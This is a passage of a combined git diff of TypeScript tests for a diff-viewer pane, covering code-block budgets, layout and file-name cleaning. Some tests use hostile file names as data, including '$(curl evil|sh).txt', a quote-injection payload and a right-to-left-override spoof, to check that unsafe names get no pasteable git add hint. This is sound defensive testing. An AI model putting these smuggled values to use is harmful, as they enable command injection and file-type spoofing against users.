- expect(body.blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
- expect(parts).toHaveLength(body.blocks.length)
++ expect(body.sources.length).toBeGreaterThan(2)
++ expect(body.sources.every(Fixtures.isWithinCodeCap)).toBe(true)
++ expect(parts).toHaveLength(body.sources.length)
+ expect(parts.flatMap(part => part.lines)).toEqual([...hunk.lines])
+
+ expect(parts.reduce((sum, part) => sum + part.oldLines, 0)).toBe(
+ hunk.lines.filter(line => !line.startsWith('+')).length,
+ )
+
+ expect(parts.reduce((sum, part) => sum + part.newLines, 0)).toBe(
+ hunk.lines.filter(line => !line.startsWith('-')).length,
+ )
+
+ expect(parts[0]?.oldStart).toBe(Fixtures.BIG_LINES)
+ expect(Fixtures.areContiguous(parts)).toBe(true)
+ })
+
+ test('letters beyond the BMP are capped in UTF-16 units', () => {
+ const hunk = Fixtures.wideHunk(
+ Fixtures.BIG_LINES,
+ Limits.MAX_LINES_PER_FILE / 2,
+ Fixtures.MATHEMATICAL_BOLD_A,
+ )
+
- const body = Views.codeBlocksOf([hunk])
++ const body = Views.codeBlocksOf([hunk], Views.BODY_BUDGET)
+ const parts = Fixtures.parsedHunksOf(body)
+
+ expect(Fixtures.MATHEMATICAL_BOLD_A).toHaveLength(2)
+ expect(body.isTruncated).toBe(false)
- expect(body.blocks.length).toBeGreaterThan(2)
- expect(body.blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
++ expect(body.sources.length).toBeGreaterThan(2)
++ expect(body.sources.every(Fixtures.isWithinCodeCap)).toBe(true)
+ expect(parts.flatMap(part => part.lines)).toEqual([...hunk.lines])
+ expect(Fixtures.areContiguous(parts)).toBe(true)
+ })
+
+ test('a line longer than any source holds is cut, reported', () => {
- const body = Views.codeBlocksOf([
- {
- oldStart: 1,
- newStart: 1,
- lines: [`+${'z'.repeat(2 * Views.MAX_CODE_CHARS)}`, '+b'],
- },
- ])
++ const body = Views.codeBlocksOf(
++ [
++ {
++ oldStart: 1,
++ newStart: 1,
++ lines: [`+${'z'.repeat(2 * Views.MAX_CODE_CHARS)}`, '+b'],
++ },
++ ],
++ Views.BODY_BUDGET,
++ )
+
+ const lines = Fixtures.parsedHunksOf(body).flatMap(part => part.lines)
+
+ expect(body.isTruncated).toBe(true)
- expect(body.blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
++ expect(body.sources.every(Fixtures.isWithinCodeCap)).toBe(true)
+ expect(lines).toEqual([expect.stringMatching(/^\+z+$/), '+b'])
+ })
+
++ test('the room runs down by what is drawn, and out at the budget', () => {
++ const hunks = [Fixtures.wideHunk(), Fixtures.wideHunk(Fixtures.BIG_LINES)]
++ const whole = Views.codeBlocksOf(hunks, Views.BODY_BUDGET)
++
++ const starved = Views.codeBlocksOf(hunks, {
++ chars: Views.BODY_BUDGET.chars,
++ nodes: 1,
++ })
++
++ expect(whole.room.nodes).toBe(Views.BODY_BUDGET.nodes - 2)
++
++ expect(whole.room.chars).toBe(
++ Views.BODY_BUDGET.chars -
++ whole.sources.reduce((sum, source) => sum + source.length, 0),
++ )
++
++ expect(starved.sources).toHaveLength(1)
++ expect(starved.isTruncated).toBe(true)
++ expect(starved.room.nodes).toBe(0)
++ })
++
+ test("a line's controls and format characters go, tabs stay", () => {
- const { blocks } = Views.codeBlocksOf([
- {
- oldStart: 1,
- newStart: 1,
- lines: ['-\tesc\u001b[31m', '+\tbidi\u202Eok\r', '\\ No newline'],
- },
- ])
++ const { sources } = Views.codeBlocksOf(
++ [
++ {
++ oldStart: 1,
++ newStart: 1,
++ lines: ['-\tesc\u001b[31m', '+\tbidi\u202Eok\r', '\\ No newline'],
++ },
++ ],
++ Views.BODY_BUDGET,
++ )
+
- expect(blocks.map(block => block.source)).toEqual([
- '@@ -1,1 +1,1 @@\n-\tesc[31m\n+\tbidiok',
- ])
++ expect(sources).toEqual(['@@ -1,1 +1,1 @@\n-\tesc[31m\n+\tbidiok'])
+ })
+ })
diff --cc mods/diff/tests/views/detail/detail-view.test.ts
index 00000000,893ad30a..19724163
mode 000000,100644..100644
--- a/mods/diff/tests/views/detail/detail-view.test.ts
+++ b/mods/diff/tests/views/detail/detail-view.test.ts
@@@ -1,0 -1,88 +1,93 @@@
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import Views from '../../../hooks/views'
+ import Fixtures from '../../fixtures'
+
+ tier('builtin')
+
+ describe('detail-view', () => {
- test('hunks draw as one diff Code named by the path', async ($, on) => {
- Fixtures.drawsPane(on, kit =>
- Views.detailView(
- kit,
- {
- words: { untrackedNoteOf: () => [] },
- path: 'src/app/config.ts',
- renamedFrom: null,
- isUntracked: false,
- isBinary: false,
- body: {
- hunks: [
- {
- oldStart: 1,
- newStart: 1,
- lines: [' a = 1', '-b = 2', '+b = 3', ' c = 4'],
- },
- {
- oldStart: Fixtures.BIG_LINES,
- newStart: Fixtures.BIG_LINES,
- lines: [' x = 1', '+y = 2'],
- },
- ],
- isTruncated: false,
- isLarge: false,
++ test('each hunk draws as a diff Code named by the path', async ($, on) => {
++ Fixtures.drawsPane(
++ on,
++ kit =>
++ Views.detailView(
++ kit,
++ {
++ words: { untrackedNoteOf: () => [] },
++ path: 'src/app/config.ts',
++ displayPath: 'src/app/config.ts',
++ isUntracked: false,
++ isBinary: false,
++ body: {
++ hunks: [
++ {
++ oldStart: 1,
++ newStart: 1,
++ lines: [' a = 1', '-b = 2', '+b = 3', ' c = 4'],
++ },
++ {
++ oldStart: Fixtures.BIG_LINES,
++ newStart: Fixtures.BIG_LINES,
++ lines: [' x = 1', '+y = 2'],
++ },
++ ],
++ isTruncated: false,
++ isLarge: false,
++ },
++ isArmed: false,
+ },
- bodyState: 'ready',
- isArmed: false,
- },
- Fixtures.noop,
- ),
++ Views.BODY_BUDGET,
++ ).element,
+ )
+
+ const tree = await $.ui.render(Fixtures.VIEW_PANE)
+
+ expect(Fixtures.codesIn(tree)).toEqual([
+ {
+ source: [
+ '@@ -1,3 +1,3 @@',
+ ' a = 1',
+ '-b = 2',
+ '+b = 3',
+ ' c = 4',
- '@@ -1000,1 +1000,2 @@',
- ' x = 1',
- '+y = 2',
+ ].join('\n'),
+ format: 'diff',
+ path: 'src/app/config.ts',
+ },
++ {
++ source: ['@@ -1000,1 +1000,2 @@', ' x = 1', '+y = 2'].join('\n'),
++ format: 'diff',
++ path: 'src/app/config.ts',
++ },
+ ])
+
+ expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
+ expect(Fixtures.jsonOf(tree)).not.toContain('truncated')
+ })
+
+ test("the name sits over the built-in's dim rule", async ($, on) => {
+ let isUntracked = false
+
- Fixtures.drawsPane(on, kit =>
- Views.detailView(
- kit,
- Fixtures.configDetailOf(isUntracked),
- Fixtures.noop,
- ),
++ Fixtures.drawsPane(
++ on,
++ kit =>
++ Views.detailView(
++ kit,
++ Fixtures.configDetailOf(isUntracked),
++ Views.BODY_BUDGET,
++ ).element,
+ )
+
+ for (const untracked of [false, true]) {
+ isUntracked = untracked
+
+ const [name, rule, body] = Fixtures.childrenOf(
+ await $.ui.render(Fixtures.VIEW_PANE),
+ )
+
+ expect(Fixtures.stringsOf(name)).toContain('src/app/config.ts')
+ expect(Fixtures.stringsOf(rule)).toEqual(['─'.repeat(Fixtures.COLUMNS)])
+ expect(body).toBeDefined()
+ }
+ })
+ })
diff --cc mods/diff/tests/views/pane-view.test.ts
index 00000000,f1b41a6e..3a1b82bb
mode 000000,100644..100644
--- a/mods/diff/tests/views/pane-view.test.ts
+++ b/mods/diff/tests/views/pane-view.test.ts
@@@ -1,0 -1,536 +1,620 @@@
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import type Git from '../../hooks/git'
+ import Limits from '../../hooks/limits'
+ import Names from '../../hooks/names'
+ import PaneState from '../../hooks/pane-state'
+ import Views from '../../hooks/views'
+ import Fixtures from '../fixtures'
+
+ tier('builtin')
+
+ describe('pane-view', () => {
+ const dataOf = (
+ files: readonly Git.FileStat[],
+ overrides: Partial<Git.DiffData> = {},
+ ): Git.DiffData => ({
+ repository: Fixtures.CHECKOUT,
+ mode: 'session',
+ stats: { ...Fixtures.TOTALS, filesCount: files.length },
+ files,
+ source: { kind: 'working-tree', base: 'HEAD' },
+ isUnborn: false,
+ baseRef: 'HEAD',
+ stalePaths: [],
+ isUntrackedWithheld: false,
+ ...overrides,
+ })
+
+ const modelOf = (
+ overrides: Partial<PaneState.PaneModel>,
+ ): PaneState.PaneModel => ({
+ ...PaneState.INITIAL_MODEL,
+ hasSettled: true,
++ place: Fixtures.WHOLE_PLACE,
+ ...overrides,
+ })
+
+ const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })]
+
- test('header, noted rows, the earlier line, the selection', async ($, on) => {
++ test('docked: header, rows, every body, the earlier line', async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('src/a.ts'),
++ Fixtures.rowOf('src/b.ts'),
+ Fixtures.rowOf('img.png', { isBinary: true }),
+ Fixtures.rowOf('notes.txt', {
+ added: 0,
+ removed: 0,
+ isUntracked: true,
+ }),
+ Fixtures.rowOf('test/a.test.ts'),
+ Fixtures.rowOf('old.ts', { isPreSession: true }),
+ ]),
- body: Fixtures.SMALL_BODY,
- bodyState: 'ready',
++ bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'src/b.ts'),
+ }),
+ )
+
+ const text = Fixtures.jsonOf(tree)
+
+ expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true)
- expect(text).toContain('4 files')
- expect(text).toContain('Binary file')
- expect(text).toContain('untracked')
++ expect(text).toContain('5 files')
++ expect(text).toContain('Binary file - cannot display diff')
++ expect(text).toContain('New file not yet staged.')
+ expect(text).toContain('1 test/generated (show)')
+ expect(text).not.toContain('test/a.test.ts')
+ expect(text).toContain('+1 file edited before this session (show)')
- expect(text).toContain('❯ src/a.ts')
- expect(text).toContain('"type":"Code"')
- expect(text).toContain('"label":"ask"')
++ expect(text).not.toContain('❯')
++
++ expect(Fixtures.codesIn(tree).map(code => code.path)).toEqual([
++ 'src/a.ts',
++ 'src/b.ts',
++ ])
++
++ expect(text).toContain('"key":"ask:src/b.ts"')
++
++ expect(
++ Fixtures.elementIn(tree, { type: 'Button', name: 'base' })?.props,
++ "the built-in's base chord on an empty Button",
++ ).toMatchObject({ action: 'app:cycleDiffBase', label: '' })
+ })
+
+ test('untracked withheld: the rows stay, the pane says so', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
++ const words = { words: PaneState.INITIAL_MODEL.words }
+
+ const listed = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/a.ts')], {
+ isUntrackedWithheld: true,
+ }),
+ }),
+ ),
+ )
+
+ const bare = Fixtures.stringsOf(
+ await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })),
+ ).join('')
+
+ expect(listed).toContain('1 file')
- expect(listed).toContain('❯ src/a.ts')
- expect(listed).toContain(Names.untrackedWithheldTextOf({ lister: 'git' }))
++ expect(listed).toContain('"label":"src/a.ts')
++ expect(listed).toContain(Names.untrackedWithheldTextOf(words))
+ expect(bare).toContain('No tracked changes')
+ expect(bare).not.toContain('No changes this session')
- expect(bare).toContain(Names.untrackedWithheldTextOf({ lister: 'git' }))
++ expect(bare).toContain(Names.untrackedWithheldTextOf(words))
+ })
+
+ test('a file at the line cap draws under the tree caps', async ($, on) => {
+ const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) =>
+ at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`,
+ )
+
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/long.ts')]),
- body: {
- hunks: [{ oldStart: 1, newStart: 1, lines }],
- isTruncated: true,
- isLarge: false,
- },
- bodyState: 'ready',
++ bodies: Fixtures.bodiesOf(
++ {
++ hunks: [{ oldStart: 1, newStart: 1, lines }],
++ isTruncated: true,
++ isLarge: false,
++ },
++ 'src/long.ts',
++ ),
+ }),
+ )
+
+ expect(
+ Fixtures.isDrawn(tree),
+ 'under the node, string and text caps the engine holds a tree to',
+ ).toBe(true)
+
+ expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0)
+
+ expect(Fixtures.jsonOf(tree)).toContain(
+ '… diff truncated (exceeded 400 line limit)',
+ )
+ })
+
+ test("placeholders in the built-in's words", async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const untracked = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]),
+ }),
+ ),
+ )
+
++ const loading = Fixtures.jsonOf(
++ await draw(modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) })),
++ )
++
+ expect(untracked).toContain('New file not yet staged.')
+ expect(untracked).not.toContain('"label":"ask"')
+ expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.')
+ expect(untracked).not.toContain("':/")
++ expect(loading).toContain('Loading diff…')
+
+ expect(
+ Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''),
+ ).toContain("Couldn't read the git diff — it will retry on the next change")
+
+ expect(
+ Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))),
+ ).toContain("isn't in a git repository")
+ })
+
- test('a picked turn draws its files under the turn title', async ($, on) => {
++ test('a picked turn draws its files under the turn line', async ($, on) => {
+ const text = Fixtures.jsonOf(
+ await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([]),
+ source: { kind: 'turn', index: 2 },
+ turns: [Fixtures.TURN_TWO],
+ }),
+ ),
+ )
+
+ expect(text).toContain('Turn 2 \\"fix it\\"')
+ expect(text).toContain('/r/a.ts')
+ expect(text).toContain('T2')
+ expect(text).toContain('… diff truncated (exceeded 400 line limit)')
+ })
+
- test('a body past the char budget is cut, says truncated', async ($, on) => {
- const lines = Array.from(
- { length: Limits.MAX_LINES_PER_FILE },
- (_, at) => `+const value${at} = ${'0'.repeat(Fixtures.LONG_LINE_CHARS)}`,
- )
-
++ test('a long body splits into leaves under their cap', async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/long-lines.ts')]),
- body: {
- hunks: [{ oldStart: 0, newStart: 1, lines }],
- isTruncated: false,
- isLarge: false,
- },
- bodyState: 'ready',
++ bodies: Fixtures.bodiesOf(Fixtures.bigBodyOf(), 'src/long-lines.ts'),
+ }),
+ )
+
- expect(Fixtures.codesIn(tree).length).toBeGreaterThan(1)
++ const codes = Fixtures.codesIn(tree)
++ const chars = codes.reduce((sum, code) => sum + code.source.length, 0)
++
++ expect(codes.length).toBeGreaterThan(1)
+ expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
- expect(Fixtures.jsonOf(tree)).toContain('(truncated)')
+
- expect(Fixtures.jsonOf(tree)).toContain(
- '… diff truncated (exceeded 400 line limit)',
++ expect(
++ codes.every(code => code.source.length <= Views.MAX_CODE_CHARS),
++ ).toBe(true)
++
++ expect(chars).toBeLessThanOrEqual(Views.MAX_BODY_CHARS)
++ })
++
++ test('the window draws what is in view, a scroll the rest', async ($, on) => {
++ const draw = Fixtures.docksPane($, on)
++
++ const model = modelOf({
++ data: dataOf([Fixtures.rowOf('a.ts'), Fixtures.rowOf('b.ts')]),
++ bodies: new Map<string, Git.FileHunks>([
++ ['a.ts', Fixtures.bigBodyOf()],
++ ['b.ts', Fixtures.SMALL_BODY],
++ ]),
++ place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS },
++ })
++
++ const top = await draw(model)
++ const { tops } = Views.bodyLayoutOf(model, Views.dockPlanOf(model))
++
++ const scrolled = await draw({
++ ...model,
++ place: { ...model.place, top: tops.get('b.ts') ?? 0 },
++ })
++
++ expect(Fixtures.isDrawn(top), 'the engine took the tree').toBe(true)
++ expect(Fixtures.codesIn(top).map(code => code.path)).toEqual(['a.ts'])
++ expect(Fixtures.jsonOf(top)).toContain('"key":"file:b.ts"')
++
++ expect(
++ Fixtures.codesIn(scrolled).map(code => code.path),
++ "a.ts's tail, then b.ts whole (the window stops at the body's end)",
++ ).toEqual(['a.ts', 'b.ts'])
++
++ expect(Fixtures.jsonOf(scrolled), 'the list stays').toContain(
++ '"key":"file:a.ts"',
+ )
+ })
+
+ test('no newline or escape in a name reaches the tree', async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('evil\nfake.ts +9 -9'),
+ Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }),
+ ]),
- selectedPath: 'esc\u001bname.ts',
- body: Fixtures.SMALL_BODY,
- bodyState: 'ready',
++ bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'evil\nfake.ts +9 -9'),
+ }),
+ )
+
+ const text = Fixtures.jsonOf(tree)
+
+ expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe(
+ false,
+ )
+
+ expect(text).not.toContain('\\u001b')
+ expect(text).not.toContain('evil\\nfake')
+ expect(text).toContain('evilfake.ts +9 -9')
- expect(text).toContain('(renamed from old.ts)')
++ expect(text).toContain('old.ts => escname.ts')
+ })
+
+ test('a path past the string cap is cut in the header', async ($, on) => {
+ const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts`
+
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }),
+ ]),
- selectedPath: longPath,
- body: Fixtures.SMALL_BODY,
- bodyState: 'ready',
+ }),
+ )
+
+ expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true)
+ expect(Fixtures.jsonOf(tree)).toContain('file.ts')
+ })
+
+ test('a base branch name loses its format characters', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const compared = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ requestedMode: 'branch',
+ data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED },
+ }),
+ ),
+ )
+
+ const empty = Fixtures.jsonOf(
+ await draw(
+ modelOf({
+ requestedMode: 'branch',
+ data: {
+ ...dataOf([]),
+ ...Fixtures.VS_SPOOFED,
+ stats: Fixtures.NO_STATS,
+ },
+ }),
+ ),
+ )
+
+ expect(compared).toContain('branch vs maniam')
+ expect(empty).toContain('No changes vs maniam')
- expect(compared + empty).not.toContain('\u202E')
++ expect(compared + empty).not.toContain('‮')
+ })
+
+ test('only a plainly safe name gets a git add to paste', async ($, on) => {
+ const draw = Fixtures.docksPane($, on)
+
+ const untrackedOf = (path: string) =>
+ draw(
+ modelOf({
+ data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]),
+ }),
+ )
+
+ const hintOf = async (path: string) =>
+ Fixtures.stringsOf(await untrackedOf(path)).join('\n')
+
+ const hints: string[] = []
+
+ for (const path of [
+ '$(curl evil|sh).txt',
+ "it's.txt",
- 'x\u2019;payload;\u2019',
++ "x';payload;'",
+ 'a&b.txt',
+ ]) {
+ hints.push(await hintOf(path))
+ }
+
- const reversed = await untrackedOf('invoice\u202Etxt.exe')
++ const reversed = await untrackedOf('invoice‮txt.exe')
+
+ expect(await hintOf('src/café-2.txt')).toContain(
+ 'Run `git add :/src/café-2.txt` to see line counts.',
+ )
+
+ expect(
+ hints.every(
+ hint =>
+ hint.includes('Stage it with git add to see line counts.') &&
+ !hint.includes('Run `git add'),
+ ),
+ ).toBe(true)
+
+ expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain(
+ 'Run `git add',
+ )
+
- expect(Fixtures.jsonOf(reversed)).toContain('"label":"❯ invoicetxt.exe"')
- expect(Fixtures.jsonOf(reversed)).not.toContain('\u202E')
++ expect(Fixtures.jsonOf(reversed)).toContain('"label":"invoicetxt.exe')
++ expect(Fixtures.jsonOf(reversed)).not.toContain('‮')
+ })
+
+ test("docked: the built-in's blank top row, last column", async ($, on) => {
+ const tree = await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([Fixtures.rowOf('src/a.ts')]),
- body: Fixtures.SMALL_BODY,
- bodyState: 'ready',
++ bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts'),
+ }),
+ )
+
+ const rule = '─'.repeat(
+ Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS),
+ )
+
+ expect(tree).toMatchObject({
+ type: 'Box',
+ props: {
+ paddingTop: Limits.PANE_TOP_PAD_ROWS,
+ paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS,
+ },
+ })
+
+ expect(Fixtures.stringsOf(tree)).toContain(rule)
+ expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`)
+ })
+
++ test("docked rows follow the built-in's, its hunks after", async ($, on) => {
++ expect(
++ Fixtures.rowShapesOf(
++ await Fixtures.dockedPane(
++ $,
++ on,
++ modelOf({
++ data: dataOf([Fixtures.rowOf('src/a.ts'), Fixtures.rowOf('b.ts')]),
++ bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'b.ts'),
++ }),
++ ),
++ ),
++ ).toEqual([
++ '',
++ 'b.ts'.padEnd(
++ Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS - '+2 -1'.length,
++ ),
++ 'rule',
++ 'ask',
++ 'rule',
++ '',
++ 'blank',
++ 'rule',
++ 'ask',
++ 'rule',
++ '',
++ 'blank',
++ ])
++ })
++
+ test("an empty state on the built-in's row, foot below", async ($, on) => {
+ const [body] = Fixtures.childrenOf(
+ await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })),
+ )
+
+ const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body)
- const [spacer, headline, controls] = Fixtures.childrenOf(middle)
++ const [spacer, headline, ...under] = Fixtures.childrenOf(middle)
+ const aboveMiddle = Limits.PANE_TOP_PAD_ROWS + 2
+
+ expect(body).toMatchObject({
+ props: { height: Fixtures.BODY_ROWS - Limits.PANE_TOP_PAD_ROWS },
+ })
+
+ expect(Fixtures.stringsOf(header)).toEqual([])
- expect(Fixtures.jsonOf(header)).toContain('"label":"✕"')
++ expect(Fixtures.jsonOf(header)).not.toContain('✕')
++
++ expect(
++ Fixtures.elementIn(header, { type: 'Button', name: 'base' }),
++ ).toBeDefined()
++
+ expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
+ expect(middle).toMatchObject({ props: { alignItems: 'center' } })
+
+ expect(spacer).toMatchObject({
+ type: 'Box',
+ props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle },
+ })
+
+ expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
-
- expect(
- Fixtures.elementIn(controls, { type: 'Select', name: 'base' }),
- ).toBeDefined()
-
++ expect(under).toEqual([])
+ expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } })
+
+ expect(Fixtures.jsonOf(foot)).toContain(
+ '"label":"+1 file edited before this session (show)"',
+ )
+
+ expect(more).toEqual([])
+ })
+
+ test('shown files or too few rows stack the empty state', async ($, on) => {
+ let rows = Fixtures.BODY_ROWS
+
+ Fixtures.drawsPane(on, kit =>
+ Views.paneView(
+ { ...kit, rows },
+ modelOf({
+ data: dataOf(EARLIER),
+ isPreSessionShown: rows === Fixtures.BODY_ROWS,
+ }),
- 'dock',
++ Fixtures.DOCK_SEAT,
+ ),
+ )
+
+ const shown = await $.ui.render(Fixtures.VIEW_PANE)
+
+ rows = Fixtures.CRAMPED_ROWS
+
+ const cramped = await $.ui.render(Fixtures.VIEW_PANE)
+
- const [header, pad, headline, controls, earlier, blank, row] =
++ const [header, pad, headline, blank, earlier, gap, legend, first] =
+ Fixtures.childrenOf(Fixtures.childrenOf(shown)[0])
+
+ expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"')
+ expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"')
- expect(Fixtures.jsonOf(header)).toContain('"label":"✕"')
- expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
- expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
+
+ expect(
- Fixtures.elementIn(controls, { type: 'Select', name: 'base' }),
++ Fixtures.elementIn(header, { type: 'Button', name: 'base' }),
+ ).toBeDefined()
+
++ expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
++ expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
++ expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } })
++
+ expect(Fixtures.jsonOf(earlier)).toContain(
+ '"label":"+1 file edited before this session (hide)"',
+ )
+
- expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } })
- expect(Fixtures.jsonOf(row)).toContain('old.ts')
++ expect(gap).toMatchObject({ type: 'Box', props: { height: 1 } })
++ expect(Fixtures.stringsOf(legend)).toContain('old.ts')
++ expect(Fixtures.rowShapeOf(first), "the first body's top rule").toBe('rule')
+ })
+
+ test("shown pre-session rows land on the built-in's rows", async ($, on) => {
+ expect(
+ Fixtures.rowShapesOf(
+ await Fixtures.dockedPane(
+ $,
+ on,
+ modelOf({
+ data: dataOf([
+ Fixtures.rowOf('config.toml', { isPreSession: true }),
++ Fixtures.rowOf('setup.cfg', { isPreSession: true }),
+ ]),
+ isPreSessionShown: true,
- body: Fixtures.SMALL_BODY,
- bodyState: 'ready',
++ bodies: Fixtures.bodiesOf(
++ Fixtures.SMALL_BODY,
++ 'config.toml',
++ 'setup.cfg',
++ ),
+ }),
+ ),
+ ).slice(1),
+ ).toEqual([
+ 'blank',
+ 'No changes this session',
- 'this session',
- '+1 file edited before this session (hide)',
+ 'blank',
- '❯ config.toml',
++ '+2 files edited before this session (hide)',
++ 'blank',
++ 'config.toml+2 -1',
++ 'setup.cfg+2 -1',
+ 'rule',
+ 'ask',
++ 'rule',
++ '',
++ 'rule',
++ 'ask',
++ 'rule',
++ '',
+ ])
+ })
+
- test('a blank row sits between the rows and earlier line', async ($, on) => {
- const draw = Fixtures.docksPane($, on)
++ test('inline: title, rows round the pick, then one body', async ($, on) => {
++ const files = Array.from(
++ { length: Limits.MAX_VISIBLE_FILES + 2 },
++ (_, at) => Fixtures.rowOf(`f${at}.ts`),
++ )
+
- const rowsWith = async (isPreSessionShown: boolean) =>
- Fixtures.rowShapesOf(
- await draw(
- modelOf({
- data: dataOf([
- Fixtures.rowOf('src/a.ts'),
- Fixtures.rowOf('old.ts', { isPreSession: true }),
- ]),
- isPreSessionShown,
- }),
- ),
- )
++ const draw = Fixtures.docksPane($, on, { placement: 'inline' })
+
- const hidden = await rowsWith(false)
- const shown = await rowsWith(true)
- const hiddenAt = hidden.indexOf('+1 file edited before this session (show)')
- const shownAt = shown.indexOf('+1 file edited before this session (hide)')
++ const listing = modelOf({
++ data: dataOf(files),
++ selectedPath: 'f6.ts',
++ isFullscreen: false,
++ bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'f0.ts', 'f6.ts'),
++ })
+
- expect(hidden.slice(hiddenAt - 2, hiddenAt + 1)).toEqual([
- '❯ src/a.ts',
- 'blank',
- '+1 file edited before this session (show)',
- ])
++ const tree = await draw(listing)
++ const text = Fixtures.jsonOf(tree)
++ const detail = await draw({ ...listing, dialogView: 'detail' })
++
++ expect(text).toContain('Uncommitted changes')
++ expect(text).toContain('(git diff HEAD)')
++ expect(text).toContain('"label":"❯ f6.ts"')
++ expect(text).toContain('"autoFocus":true')
++ expect(text).toContain(' ↑ 2 more files')
++ expect(text).not.toContain('"label":" f0.ts"')
++ expect(Fixtures.codesIn(tree)).toEqual([])
++ expect(Fixtures.codesIn(detail).map(code => code.path)).toEqual(['f6.ts'])
++ expect(Fixtures.jsonOf(detail)).not.toContain('"label":"❯ f6.ts"')
++ expect(Fixtures.jsonOf(detail)).toContain('Esc to back')
+
- expect(shown.slice(shownAt, shownAt + 3)).toEqual([
- '+1 file edited before this session (hide)',
- 'blank',
- ' old.ts',
- ])
++ expect(tree).toMatchObject({
++ type: 'Box',
++ props: { flexDirection: 'column' },
++ })
++
++ expect(text).not.toContain('"paddingTop"')
+ })
+
- test("the header's ✕ closes the pane in each state", async ($, on) => {
- let closes = 0
++ test('inline, too narrow: the wider-terminal line alone', async ($, on) => {
++ expect(
++ Fixtures.stringsOf(
++ await Fixtures.docksPane($, on, Fixtures.NARROW_SEAT)(modelOf({})),
++ ),
++ ).toEqual([Names.RESIZE_TERMINAL_TEXT])
++ })
+
- const draw = Fixtures.docksPane($, on, {
- actions: {
- ...Fixtures.noopActionsOf(),
- close: () => {
- closes += 1
- },
- },
- })
++ test('the header row carries its controls in every state', async ($, on) => {
++ const draw = Fixtures.docksPane($, on)
+
+ const models = [
+ modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }),
+ modelOf({ data: dataOf([]) }),
+ modelOf({
+ data: dataOf([]),
+ source: { kind: 'turn', index: 2 },
+ turns: [Fixtures.TURN_TWO],
+ }),
+ ]
+
+ for (const model of models) {
+ const tree = await draw(model)
+ const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0])
- const close = Fixtures.childrenOf(header).at(-1)
-
- expect(close).toMatchObject({ type: 'Box', props: { key: 'close' } })
-
- expect(
- Fixtures.elementIn(close, { type: 'Button', name: 'close' }),
- ).toMatchObject({ props: { label: '✕', plain: true } })
++ const isTurn = model.source.kind === 'turn'
+
+ expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
